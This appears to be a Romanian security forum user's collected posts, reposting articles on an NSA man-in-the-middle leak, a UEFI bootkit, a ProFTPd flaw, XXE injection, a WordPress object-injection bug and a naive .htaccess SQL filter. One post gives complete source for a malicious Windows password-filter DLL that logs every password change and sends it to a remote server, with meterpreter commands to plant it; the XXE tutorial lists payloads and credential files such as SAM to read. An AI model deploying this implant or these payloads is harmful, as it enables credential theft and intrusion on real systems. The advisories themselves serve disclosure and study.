Nytro

TU trebuie sa trimiti asta. header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename='.basename($file)); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . filesize($file)); De aici: PHP: readfile - Manual

New NSA Leak Shows MITM Attacks Against Major Internet Services The Brazilian television show "Fantastico" has exposed an NSA training presentation that discusses how the agency runs man-in-the-middle attacks on the Internet. The point of the story was that the NSA engages in economic espionage against Petrobras, the Brazilian giant oil company, but I'm more interested in the tactical details. The video on the webpage is long, and includes what I assume is a dramatization of an NSA classroom, but a few screen shots are important. The pages from the training presentation describe how the NSA's MITM attack works: However, in some cases GCHQ and the NSA appear to have taken a more aggressive and controversial route -- on at least one occasion bypassing the need to approach Google directly by performing a man-in-the-middle attack to impersonate Google security certificates. One document published by Fantastico, apparently taken from an NSA presentation that also contains some GCHQ slides, describes “how the attack was done” to apparently snoop on SSL traffic. The document illustrates with a diagram how one of the agencies appears to have hacked into a target’s Internet router and covertly redirected targeted Google traffic using a fake security certificate so it could intercept the information in unencrypted format. Documents from GCHQ’s "network exploitation" unit show that it operates a program called "FLYING PIG" that was started up in response to an increasing use of SSL encryption by email providers like Yahoo, Google, and Hotmail. The FLYING PIG system appears to allow it to identify information related to use of the anonymity browser Tor (it has the option to query "Tor events") and also allows spies to collect information about specific SSL encryption certificates. It's that first link -- also here -- that shows the MITM attack against Google and its users. Another screenshot implies is that the 2011 DigiNotar hack was either the work of the NSA, or exploited by the NSA. Here's another story on this. Sursa: https://www.schneier.com/blog/archives/2013/09/new_nsa_leak_sh.html

La multi ani: https://en.wikipedia.org/wiki/Programmers%27_Day Programmers' Day is an international professional day recognized in many technology companies and programming firms, that is celebrated on the 256th (hexadecimal 100th, or the 28th) day of each year (September 13 during common years and on September 12 in leap years).

Google sare în ap?rarea The Pirate Bay Google, cel mai mare furnizor de servicii online din lume ?i o companie care are propriile probleme legate de înc?lcarea propriet??ii intelectuale, refuz? s? ignore site-ul de partajare de fi?iere The Pirate Bay (TPB). Asocia?ia British Recorded Music Industry, care reprezint? interesele a trei case mari de discuri - Warner Music Group, Sony Music Entertainment ?i Universal Music Group - i-a cerut gigantului online s? scoat? din rezultatele c?ut?rilor link-urile care duc c?tre thepiratebay.sx, adresa TPB. Compania american? a refuzat. Motivul invocat de Google este c? prima pagina a The Pirate Bay nu con?ine con?inut piratat sau link-uri directe catre con?inut piratat. Sursa: Google sare în ap?rarea The Pirate Bay - Gandul

Sebastien Kaczmarek - Dreamboot - A Uefi Bootkit Description: PRESENTATION ABSTRACT: Unified Extensible Firmware Interface or UEFI, is the result of a common effort from several manufacturers and industry stakeholders based on an initiative from Intel. It is a new software component or ‘middleware’ interposed between the hardware and the operating system designed to replace the traditional aka old BIOS. This presentation is a study of the overall architecture of UEFI from a security point of view with a focus on a bootkit implementation for Windows 8 x64 which exploits the UEFI firmware: Dreamboot. Dreamboot has two specific payloads: Privilege escalation and Windows local authentication bypass. DreamBoot comes in the form of a bootable ISO, to use preferably as part of a physical attack (i.e. when the attacker has physical access to the machine peripherals: DVD or USB ports). It is also fully functional in virtualized environments like VMWare Workstation or ESX. The presentation also describes how to develop for UEFI platforms using Tianocore SDK and the new security risks its deployment implies. The Windows boot process and its evolution from BIOS to UEFI implementation will be covered and all bootkit implementation details explained. ABOUT SEBASTIEN KACZMAREK Sebastien Kaczmarek is a senior security researcher at QuarksLAB skilled in reverse engineering and cryptanalysis. He specializes in software security, malware and low level code analysis on Microsoft platforms and enjoys studying all execution layers from hardware to software while also analyzing web vulnerabilities. He has studied computer science for 5 years in USTL (Lille University – France) before specializing in information security and reverse engineering. He has published a paper in French journal MISC, titled “RDP & Cryptography, RSA, Anecdotes and Implementation Errors”. He is currently working on DRM, UEFI implementations and new opportunities to develop bootkits for Microsoft’s Windows 8 platform. For More Information please visit : - HITBSECCONF2013 - AMSTERDAM Sursa: Sebastien Kaczmarek - Dreamboot - A Uefi Bootkit

[h=1]ProFTPd mod_sftp/mod_sftp_pam invalid pool allocation during kbdint authentication[/h]Posted on September 11, 2013 ProFTPd installs with mod_sftp and mod_sftp_pam activated contain the vulnerability described in this post. The current stable release of ProFTPd is 1.3.4d and the current release candidate is 1.3.5rc3. First I have to note that this vulnerability is unlikely to be exploited. There is a way to control $rip instruction pointer on 64 bit systems, for example on the Ubuntu 64Bit platform but I believe that it is not possible to get full code execution with this bug. The bug is useful to trigger a large heap allocation and exhaust all available system memory of the underlying operating system. Inside the file located at proftpd-1.3.5rc2/contrib/mod_sftp/kbdint.c ProFTPd handles the SSH keyboard interactive authentication procedure, in this case it will use pam as an authentication library therefore mod_sftp_pam has to be active for an installation to be vulnerable. Source code file and line kbdint.c:300 reads: [1] resp_count = sftp_msg_read_int(pkt->pool, &buf, &buflen); [2] list = make_array(p, resp_count, sizeof(char *)); for (i = 0; i < resp_count; i++) { char *resp; resp = sftp_msg_read_string(pkt->pool, &buf, &buflen); *((char **) push_array(list)) = pstrdup(p, sftp_utf8_decode_str(p, resp)); } Line 1 will read the kbdint response count which is an unsigned integer with a size of 32 bits from the client during an SSH kbdint userauth info response client request. This value is used to allocate a buffer with the size user_supplied_uint32_value multiplied by the size of a char pointer being 32bits or 64bits depending on the platform. There is no size check before the request is sent to the pool allocator that is called by make_array at Line 2. The pool allocator can be tricked to handle negative allocation sizes if resp_count is large enough. There is a size check of the response count value but it’s done after this function returns. The DoS condition can be triggered by sending an int32 value for resp_count that is slightly below the available memory of the target system and repeating the request. Noteably OpenSSH vulnerability CVE-2002-0640 is very similar to this ProFTPd vulnerability. It has the very same code path. Here is a reference to the OpenSSH Challenge-Response Authentication bug that was exploited by GOBBLES Security in their year 2002 sshutuptheo.tgz exploit: OpenSSH Security Advisory (adv.iss) [LWN.net]. Usage of keyboard interactive authentication in ProFTPd mod_sftp is rare as it is not activated by default. Cheers, Kingcope Sursa: https://kingcope.wordpress.com/2013/09/11/proftpd-mod_sftpmod_sftp_pam-invalid-pool-allocation-in-kbdint-authentication/

[h=1]Video Tutorial: Introduction to XML External Entity Injection[/h]Posted by webpwnized in Information Security on Sep 12, 2013 9:01:16 AM Title: Video Tutorial: Introduction to XML External Entity Injection Author: webpwnized From: ISSA KY Sept 2013 Workshop (Louisville, KY) Twitter: @webpwnized This video introduces XML injection to achieve XML external entity injection (XXE) and XML based cross site scripting (XSS). Please find notes used/mentioned in video posted below the video. 1. What is XML injection 2. What is an "entity" 3. What is entity injection 4. Cross site scripting with entity injection 5. Determining local execution path 6. Determining privileges of "user" 7. Directory traversal 8. file:/// protocol 9. Local File Inclusion with entity injection Firefox --> Burp-Suite --> Apache2 --> PHP App Server --> PHP Code --> XML Parser --> PHP --> Apache2 --> Burp-Suite --> Firefox Basics <?xml version="1.0"?><change-log><text>Hello World</text></change-log> <?xml version="1.0"?><change-log><text>"Hello World"</text></change-log> <?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY myEntity "World"> ]><change-log><text>Hello &myEntity;</text></change-log> <?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY myEntity "World"><!ENTITY myQuote """> ]><change-log><text>&myQuote;Hello &myEntity;&myQuote;</text></change-log> Information Disclosure C:\xampp\htdocs\mutillidae\xml-validator.php file:///C:/xampp/htdocs/mutillidae/xml-validator.php Try to cause various errors in order to coax information from XML parser Try to load files that dont exist Put whitespace before the XML Send malformed XML Determine operating system type and the path at which interpretation is taking place Cross site scripting <?xml version="1.0"?><change-log><text><script>alert("FAIL")</script></text></change- log> <?xml version="1.0"?><change-log><text><script>alert("Hello World")</script></text></change-log> Local File Inclusion Try to acquire application configuration files and/or source code files Try to acquire operating system files <?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY systemEntity SYSTEM "robots.txt"> ]><change-log><text>&systemEntity;</text></change-log> Remote File Inclusion <?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY systemEntity SYSTEM "http://192.168.56.102/index.html"> ]><change-log><text>&systemEntity;</text></change-log> Windows XP SP3 %WINDIR% = C:\WINDOWS %SYSTEMDRIVE% = C: %SYSTEMROOT% = C:\WINDOWS Credit: Rob "Mubix" Fuller file:///C:\WINDOWS\System32\drivers\etc\hosts %WINDIR%\System32\drivers\etc\hosts Blind Files %SYSTEMDRIVE%\boot.ini A file that can be counted on to be on virtually every windows host. Helps with confirmation that a read is happening. %WINDIR%\win.ini This is another file to look for if boot.ini isn’t there or coming back, which is sometimes the case. %SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM It stores users' passwords in a hashed format (in LM hash and NTLM hash). The SAM file in \repair is locked, but can be retired using forensic or Volume Shadow copy methods %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\RegBack\system Files To Pull (if possible) %SYSTEMDRIVE%\pagefile.sys Large file, but contains spill over from RAM, usually lots of good information can be pulled, but should be a last resort due to size %WINDIR%\debug\NetSetup.log %WINDIR%\repair\sam %WINDIR%\repair\system %WINDIR%\repair\software %WINDIR%\repair\security %WINDIR%\iis6.log (5, 6 or 7) %WINDIR%\system32\logfiles\httperr\httperr1.log IIS 6 error log %SystemDrive%\inetpub\logs\LogFiles IIS 7’s logs location %WINDIR%\system32\logfiles\w3svc1\exYYMMDD.log (year month day) %WINDIR%\system32\config\AppEvent.Evt %WINDIR%\system32\config\SecEvent.Evt %WINDIR%\system32\config\default.sav %WINDIR%\system32\config\security.sav %WINDIR%\system32\config\software.sav %WINDIR%\system32\config\system.sav %WINDIR%\system32\CCM\logs\*.log %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index. dat %WINDIR%\System32\drivers\etc\hosts Sursa: https://community.rapid7.com/community/infosec/blog/2013/09/12/video-tutorial-introduction-to-xml-external-entity-injection

[h=3]Stealing passwords every time they change[/h] Password Filters [0] are a way for organizations and governments to enforce stricter password requirements on Windows Accounts than those available by default in Active Directory Group Policy. It is also fairly documented on how to Install and Register Password Filters [1]. Basically what it boils down to is updating a registry key here: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages with the name of a DLL (without the extension) that you place in Windows\System32\ For National CCDC earlier this year (2013), I created an installer and "evil pass filter" that basically installed itself as a password filter and any time any passwords changed it would store the change to a log file locally to the victim (in clear text) as well as issue an HTTP basic auth POST to a server I own with the username and password. The full code can be found below. I'll leave the compiling up to you but basically its slamming the code in Visual Studio, telling it its a DLL, and clicking build for the architecture you are targeting (Make sure to use the Internet Open access settings that make the most sense for the environment you are using this in [2]). So lets walk the exploitation: First, you have to be admin or system, as this is more of a persistence method than anything. [INDENT] meterpreter > getuid Server username: NT AUTHORITY\SYSTEM [/INDENT] Next, we upload the evilpassfilter.dll to Sytem32: [INDENT] meterpreter > pwd C:\Windows\system32 meterpreter > upload /tmp/evilpassfilter.dll . [*] uploading : /tmp/evilpassfilter.dll -> . [*] uploaded : /tmp/evilpassfilter.dll -> .\evilpassfilter.dll [/INDENT] Then we need to query what is already in the notification packages list: [INDENT] meterpreter > reg queryval -k HKLM\\System\\CurrentControlSet\\Control\\Lsa -v "Notification Packages" Key: HKLM\System\CurrentcontrolSet\Control\Lsa Name: Notification Packages Type: Data: sceclirassfm [/INDENT] What you can't see here since Metasploit isn't showing the line breaks is that there are two there by default: [INDENT] scecli rassfm [/INDENT] We need to add ours to the end of this list, unfortunately at the current point of time its impossible to do directly from the meterpreter command line (as far as I know). So we need to drop a .reg file and manually import it. Easiest way to do that is to add your "evilpassfilter" string as well as the ones on the victim to a VM you have and export it. Should look like this: Once we have our file, we upload and import it using reg command: [INDENT] meterpreter > upload importme.reg . [*] uploading : importme.reg -> . [*] uploaded : importme.reg -> .\importme.reg meterpreter > execute -H -f regedit.exe -a '/s importme.reg' Process 2628 created. meterpreter > [/INDENT] Double check our work: [INDENT] meterpreter > reg queryval -k HKLM\\System\\CurrentcontrolSet\\Control\\Lsa -v "Notification Packages" Key: HKLM\System\CurrentcontrolSet\Control\Lsa Name: Notification Packages Type: Data: sceclirnrassfmrnevilpassfilter [/INDENT] Its there, w00t! But it doesn't do anything until a reboot happens . Lets just force that to happen (not the most stealthy thing to do): [INDENT] meterpreter > reboot Rebooting... [/INDENT] While thats going on, lets set up the server to catch the basic auth. [INDENT] msf exploit(psexec) > use auxiliary/server/capture/http_basic msf auxiliary(http_basic) > set URIPATH / URIPATH => / msf auxiliary(http_basic) > run [*] Auxiliary module execution completed msf auxiliary(http_basic) > [*] Listening on 0.0.0.0:80... [*] Using URL: http://0.0.0.0:80/ [*] Local IP: http://192.168.92.106:80/ [*] Server started. msf auxiliary(http_basic) > [/INDENT] Then we wait for a password to be changed: [INDENT] msf auxiliary(http_basic) > [*] 192.168.92.106 http_basic - Sending 401 to client [+] 192.168.92.106 - Credential collected: "jack:ASDqwe123" => / [/INDENT] No matter how complex their password is and without having a shell on the box anymore: msf auxiliary(http_basic) > [INDENT] [+] 192.168.92.106 - Credential collected: "jack:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes<;6#0$puQ%Q&,@ZwY(T@p" => / [/INDENT] This works from Windows 2000, XP all the way up to Windows 8 & 2012. Ok, but how often are local password changed? Maybe not that often, but guess what happens when a password filter is put on a domain controller. Every password changed by that DC is "verified" by your evil password filter. Oh and what does that log file we talked about earlier on the victim look like if for some reason they block that IP you're getting your authentication to? (You would have to find a way to get back on that system, or make it available via a share or otherwise) [INDENT] InitializeChangeNotify() JackJohnson:ASDqwe123 JackJohnson:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes<;6#0$puQ%Q&,@ZwY(T@p [/INDENT] This attack supports a larger character set than most banks ;-) [0] http://msdn.microsoft.com/en-us/library/windows/desktop/ms721882(v=vs.85).aspx [1] http://msdn.microsoft.com/en-us/library/windows/desktop/ms721766(v=vs.85).aspx [2] http://msdn.microsoft.com/en-us/library/windows/desktop/aa385096(v=vs.85).aspx Full code: #include <windows.h>#include <stdio.h> #include <WinInet.h> #include <ntsecapi.h> void writeToLog(const char* szString) { FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+"); if (NULL == pFile) { return; } fprintf(pFile, "%s\r\n", szString); fclose(pFile); return; } // Default DllMain implementation BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { OutputDebugString(L"DllMain"); switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } BOOLEAN __stdcall InitializeChangeNotify(void) { OutputDebugString(L"InitializeChangeNotify"); writeToLog("InitializeChangeNotify()"); return TRUE; } BOOLEAN __stdcall PasswordFilter( PUNICODE_STRING AccountName, PUNICODE_STRING FullName, PUNICODE_STRING Password, BOOLEAN SetOperation ) { OutputDebugString(L"PasswordFilter"); return TRUE; } NTSTATUS __stdcall PasswordChangeNotify( PUNICODE_STRING UserName, ULONG RelativeId, PUNICODE_STRING NewPassword ) { FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+"); //HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); HINTERNET hSession = InternetConnect(hInternet,L"172.16.10.1",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0); HINTERNET hReq = HttpOpenRequest(hSession,L"POST",L"/",NULL,NULL,NULL,0,0); char* pBuf="SomeData"; OutputDebugString(L"PasswordChangeNotify"); if (NULL == pFile) { return; } fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer,NewPassword->Buffer); fclose(pFile); InternetSetOption(hSession,INTERNET_OPTION_USERNAME,UserName->Buffer,UserName->Length/2); InternetSetOption(hSession,INTERNET_OPTION_PASSWORD,NewPassword->Buffer,NewPassword->Length/2); HttpSendRequest(hReq,NULL,0,pBuf,strlen(pBuf)); return 0; } Sursa: Carnal0wnage & Attack Research Blog: Stealing passwords every time they change

WordPress < 3.6.1 PHP Object Injection After reading a blog post about a “PHP object injection” vulnerability in Joomla, I dug a bit deeper and found Stefan Esser’s slides of the 2010 BlackHat conference, which showed that PHP’s unserialize() function can give rise to vulnerabilities when supplied user-generated content. So basically, the unserialize() function takes a string that represents a serialized value, and unserializes (hence the name) it to a PHP value. This value can be any type, except the resource type (i.e. integer, double, string, array, boolean, object, NULL). When the function is given a user-generated string, this may result in memory leak vulnerabilities in some (older) PHP versions. However, this will not be the focus of this blog post. If you want to learn more about this, you can refer to the aforementioned BlackHat slides. Another type of vulnerability that an attacker can exploit when his data is run through the unserialize() function, is “PHP Object Injection”. In this case, object-types are unserialized, allowing the attacker to set all the properties of the object to his choice. When the object’s methods are called, this could have some effect (e.g. removing some file), and as the attacker is able to choose the properties of the object, he might be able to remove a file of his choice. Let’s examplify this to make it more clear: Imagine that the following class is loaded at the time user-generated content is passed to unserialize(). [phpcode]<?php class Foo { private $bar; private $file; public __construct($fileName) { $this->bar = 'foobar'; $this->file = $fileName; } // Some more code here… public __toString() { return file_get_contents($this->file); } } ?>[/phpcode] If the victim’s code would contain the following line echo unserialize($_GET['in']);, the attacker will be able to read arbitrary files. The attacker could construct his payload with the following code: [phpcode]<?php class Foo { public $file; } $foo = new Foo(); $foo->file = '/etc/passwd'; echo serialize($foo); ?>[/phpcode] Which results in O:3:"Foo":1:{s:4:"file";s:11:"/etc/passwd";}. All the attacker has to do now is to send a GET request to the vulnerable page with his payload. This page will then output the contents of /etc/passwd. Although reading arbitrary files is quite bad, imagine what would happen if file_get_contents would be eval in the above example… I hope this section has shed some light on the possible dangers of supplying user-generated content to the unserialize() function. Even PHP’s reference manual clearly states that one should not pass user-generated content to the unserialize() function: Warning Do not pass untrusted user input to unserialize(). Unserialization can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this. Use a safe, standard data interchange format such as JSON (via json_decode() and json_encode()) if you need to pass serialized data to the user. You shall not pass user-content to userialize() Now let’s move on to how this affects WordPress. WordPress vulnerability In Stefan Esser’s BlackHat presentation, he mentioned that WordPress is a well-known example of an application that makes use of serialize() and unserialize(). In the example of his slides, unserialize() is used on content received from the WordPress website. So when an attacker is able to perform a MitM-attack on the victim’s website, he can modify the response from the WordPress website to include his payload. Interestingly, at the time of writing, even the latest version of WordPress (3.6) contains this vulnerability (aprox. 3 years after the presentation). Imagine what could happen if an attacker were able to hijack the WordPress.org DNS… However… this is not the only occurrence where WordPress uses unserialize(). It is also used to store certain information in the database. For example, some user metadata is stored serialized in the database. This metadata is retrieved in the wp-includes/meta.php file by the get_metadata()-function defined on line 267. Here’s a little abstract from this function (lines 292-297): [phpcode]if ( isset($meta_cache[$meta_key]) ) { if ( $single ) return maybe_unserialize( $meta_cache[$meta_key][0] ); else return array_map('maybe_unserialize', $meta_cache[$meta_key]); }[/phpcode] So basically, what this function does is retrieve metadata (either from posts or users) from the database (respectively the wp_postmeta and wp_usermeta tables). As some content should be serialized while other content should not, the maybe_unserialize() function is called instead of unserialize(). This function is defined in wp-includes/functions.php on lines 230-234. [phpcode]function maybe_unserialize( $original ) { if ( is_serialized( $original ) ) // don't attempt to unserialize data that wasn't serialized going in return @unserialize( $original ); return $original; }[/phpcode] So what this function does, is check whether the given value is a serialized string and if it is, it is unserialized. The is_serialized() function is defined in the same file, on lines 247-276: [phpcode]function is_serialized( $data ) { // if it isn't a string, it isn't serialized if ( ! is_string( $data ) ) return false; $data = trim( $data ); if ( 'N;' == $data ) return true; $length = strlen( $data ); if ( $length < 4 ) return false; if ( ':' !== $data[1] ) return false; $lastc = $data[$length-1]; if ( ';' !== $lastc && '}' !== $lastc ) return false; $token = $data[0]; switch ( $token ) { case 's' : if ( '"' !== $data[$length-2] ) return false; case 'a' : case 'O' : return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data ); case 'b' : case 'i' : case 'd' : return (bool) preg_match( "/^{$token}:[0-9.E-]+;\$/", $data ); } return false; }[/phpcode] he reason why it is important to note how WordPress checks if a value is a serialized string will become clear soon. First, let’s look at how an attacker could make content he supplies end up in this metadata table. For every user the first name, last name, Yahoo IM, … are stored in the wp_usermeta table. So let’s just add the payload there and pwn WordPress, right?! You can check by setting i:1; as your name, if this is unserialized, it will result in the integer 1. However, if you test this, you will see that the content isn’t unserialized and just returns i:1;, as was entered. Darn, it’ll take some more to pwn WordPress aparently… Let’s dig deeper why the content isn’t unserialized… In wp-includes/meta.php, the update_metadata() function is defined on lines 101-164. Here’s an abstract of this function: [phpcode]// … $meta_value = wp_unslash($meta_value); $meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type ); // … $meta_value = maybe_serialize( $meta_value ); $data = compact( 'meta_value' ); // … $wpdb->update( $table, $data, $where ); // …[/phpcode] The maybe_serialize() function might explain why our payload didn’t work… Let’s take a closer look at the function defined in wp-includes/functions.php on lines 314-324. [phpcode]function maybe_serialize( $data ) { if ( is_array( $data ) || is_object( $data ) ) return serialize( $data ); // Double serialization is required for backward compatibility. // See http://core.trac.wordpress.org/ticket/12930 if ( is_serialized( $data ) ) return serialize( $data ); return $data; }[/phpcode] So when the given value is a serialized string, it will be serialized again. That is indeed what happens. As you can see in the database, i:1; is turned into s:4:"i:1;";, which is deserialized as a string when it is displayed. So what now? As you might have noticed, this post was also tagged MySQL. Now it’ll become clear why. In order to successfully insert a serialized object, we need the is_serialized() function to return false when a string is insterted, and it should return true after it is retrieved from the database. As you might know, a MySQL database, table and even the separate columns have their own charset/collation. For WordPress, the default charset is utf8. Contrastinly to the name, this charset actually does not support the full Unicode character set. For more information about this, please refer to following post by Mathias Bynens. This taught me that tables with utf8 as charset can not store astral symbols (whose code points range from U+010000 to U+10FFFF). So what happens if we try to store one of these symbols nonetheless? Apparently, everything after such a symbol is just discarded. So for example, when trying to insert foo??bar, MySQL will discard ??bar and just store foo. This was the last piece of the puzzle that was needed to inject serialized values which will be unserialized later on. To test this, you can insert i:1;?? as your first name. As you will see, this results in just 1 as value, meaning that the value you supplied was unserialized. If you don’t yet believe me, try entering a serialized empty array with an astral symbol appended: a:0:{}??. This will result in Array. Let’s recap: maybe_serialized('i:1;??') is inserted to the database. As WordPress does not see this as a serialized string (because it doesn’t end in ; or }), this will result in i:1;??. When inserted, MySQL doesn’t know how to store it properly, and removes the astral symbol ??. Later on, when the value i:1; is retrieved, it will be unserialized as it now has ; as last character which will make is_serialized() return true. Boom. Vulnerability. WordPress exploit Now we’ve shown that WordPress contains a PHP Object Injection vulnerability, let’s try to exploit it… So in order to exploit this vulnerability (by injecting objects), we need to find a class that (i) contains a “useful” method that is called, and (ii) is included at the time the object is created. When an object is unserialized, the __wakeup() function is called. This function is one of PHP’s “magic-methods”. This is one method we are sure of that is called, there could be some more though. I made the following class which logs all function calls to /tmp/func.log. [phpcode]<?php class Foo { public static function logFuncCall($funcName) { $fh = fopen('/tmp/func.log', 'a'); fwrite($fh, $funcName."\n"); fclose($fh); } public function __construct() { Foo::logFuncCall('__construct('.json_encode(func_get_args()).')');} public function __destruct() { Foo::logFuncCall('__destruct()');} public function __get($name) { Foo::logFuncCall("__get($name)"); return "Foo";} public function __set($name, $value) { Foo::logFuncCall("__set($name, value)");} public function __isset($name) { Foo::logFuncCall("__isset($name)"); return true;} public function __unset($name) { Foo::logFuncCall("__unset($name)");} public function __sleep() { Foo::logFuncCall("__sleep()"); return array();} public function __wakeup() { Foo::logFuncCall("__wakeup()");} public function __toString() { Foo::logFuncCall("__toString()"); return "Foo";} public function __invoke($a) { Foo::logFuncCall("__invoke(". json_encode(func_get_args()).")");} public function __call($a, $ { Foo::logFuncCall("__call(". json_encode(func_get_args()).")");} public static function __callStatic($a, $ { Foo::logFuncCall("__callStatic(". json_encode(func_get_args()).")");} public static function __set_state($a) { Foo::logFuncCall("__set_state(". json_encode(func_get_args()).")"); return null;} public function __clone() { Foo::logFuncCall("__clone()");} } ?>[/phpcode] In order to list all the functions that are called, first make sure that the class is included at the time the unserialization happens. You can do this by adding require_once('foo.php') to the top of functions.php. Next, try exploiting the PHP Object Injection by setting your first name to O:3:"Foo":0:{}??. When you save this, and the page is refreshed, you will see that your first name now is Foo, which is exactly what is returned by the __toString() function of the Foo class. Now let’s look at the functions that were called: $ sort -u /tmp/func.log __destruct() __toString() __wakeup() That gives us three functions we can work with: __wakeup(), __destruct() and __toString(). “Unfortunately” I was unable to find an occurrence of a WordPress class that was loaded at the time the unserialization happens which could lead to a severe exploitation. Please note that this is not due to the “security” of WordPress, but rather by chance. So does this mean that WordPress is just vulnerable, but no exploit is possible? Not quite… If you are familiar with WordPress, you might be aware that there is an enormous amount of plugins available. These plugins come with their own classes and thus may introduce what is needed for successfully exploiting this vulnerability. I looked into this, and found that there exists a popular plugin which (when enabled) elevates this vulnerability to Remote Command Execution. Due to ethical considerations, I will not disclose a PoC of this exploit at this time, as there are too many vulnerable WordPress installations out there. WordPress fix The fix by WordPress is in the is_serialized() function, I’ll briefly discuss it here. [phpcode]function is_serialized( $data, $strict = true ) { // if it isn't a string, it isn't serialized if ( ! is_string( $data ) ) return false; if ( ':' !== $data[1] ) return false; if ( $strict ) { $lastc = $data[ $length - 1 ]; if ( ';' !== $lastc && '}' !== $lastc ) return false; } else { // ensures ; or } exists but is not in the first X chars if ( strpos( $data, ';' ) < 3 && strpos( $data, '}' ) < 4 ) return false; } $token = $data[0]; switch ( $token ) { case 's' : if ( $strict ) { if ( '"' !== $data[ $length - 2 ] ) return false; } elseif ( false === strpos( $data, '"' ) ) { return false; } case 'a' : case 'O' : return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data ); case 'b' : case 'i' : case 'd' : $end = $strict ? '$' : ''; return (bool) preg_match( "/^{$token}:[0-9.E-]+;$end/", $data ); } return false; }[/phpcode] The main difference is that when the $strict parameter is set to false, there are fewer constraints a string needs to be marked serialized. For example, the last character no longer needs to be ; or {, which makes that this fix patches the vulnerability I reported. Now are there any similar issues that could lead to have the same consequences? As WordPress is still using the unsafe unserialize() function instead of the safer json_decode(), it is now dependant on the regularity of MySQL’s irregular behaviour. The vulnerability I disclosed above made use of the fact that MySQL’s utf8 charset removes all characters that come after an astral symbol. Now what would happen if in a future version, MySQL would remove everything before this character? WordPress would be vulnerable again. Another option that is not unlikely, is that there exists a character that is removed by MySQL when INSERTed. In this case, is_serialized() will return false when trying to insert a string with this character prepended as meta-data. When this string is then retrieved again, it will no longer have the character, and is_serialized() will now return true, which will cause the user-generated string to be unserialized. Ofcourse, this is pure speculation (as I am not that familiar with MySQL). I shared these concerns with WordPress, and they consulted their MySQL expert, and assured that above scenarios will not happen. The first scenario (where characters are removed before a certain character), will not happen because: I see no way of this happening. ‘After’ can happen, if you manage to define a partial multi-byte character, as in the original report. ‘Before’ can’t, because MySQL only runs forward through a string when converting it to a character set, never backwards. As for the second scenario (where a character “disappears”) will not happen because: MySQL replaces characters it doesn’t recognize (for the given character set), with a placeholder. MySQL will sometimes replace byte sequences with “?” or “?” (U+FFFD). Such replacements would not be harmful. Timeline April 3rd: Vulnerability discovered April 4th: WordPress notified June 18th: First WordPress fix June 21st: WordPress 3.5.2 released (fix not included) August 1st: WordPress 3.6 released (fix not included) September 6th: Second WordPress fix September 11th: WordPress 3.6.1 released (fix included) September 11th: Public disclosure through this blog post Conclusion Even though this vulnerability was caused by a single Unicode character, it did have an impact on the core functionality of WordPress (presumably this is why it took them 5 months to fix). As abandoning the use of unserialize() was not an option for them (presumably because of legacy issues), they had to come up with a good algorithm to prevent this vulnerability while remaining compatible with a plethora of plugins and other systems. All in all, I feel a bit more safe hosting my girlfriend’s WP blog, though I did alter the meta-tables to support all Unicode characters: ALTER TABLE wp_commentmeta CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; ALTER TABLE wp_postmeta CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; ALTER TABLE wp_usermeta CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; Finally, I would like to thank the WordPress Security Team for our collaboration on fixing this vulnerability, and for taking my feedback on both fixes into account. Sursa: http://vagosec.org/2013/09/wordpress-php-object-injection/

[h=1]Can you find it?[/h] Last year, GCHQ created a groundbreaking challenge, which asked ‘Can You Crack It’. Now in 2013, we are asking Can You Find It? Our new challenge is to find and solve 5 codes we have hidden around the web. For anyone able to rise to the challenge and find all the codes, you’ll join an elite community of people with some of the specific skills we look for at GCHQ. We also have some great prizes. You can win 1 of 100 Raspberry Pi or 1 of 5 Google Nexus 7 tablets. https://canyoufindit.co.uk/

STUPID. Nu se previne SQL Injection din .htaccess. Porcaria asta: RewriteCond %{QUERY_STRING} ^.*(;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR] NU se poate numi filtrare! Pe langa faptul ca nu previne nimic ci doar incurca putin atacatorul, mai poate provoca si grave probleme de functionalitate. SQL Injection ca si orice alt tip de problema de securitate pe parte de aplicatie web se filtreaza din aplicatia web!

Eu sunt multumit daca imi spui coduri de acces la diferite interfoane

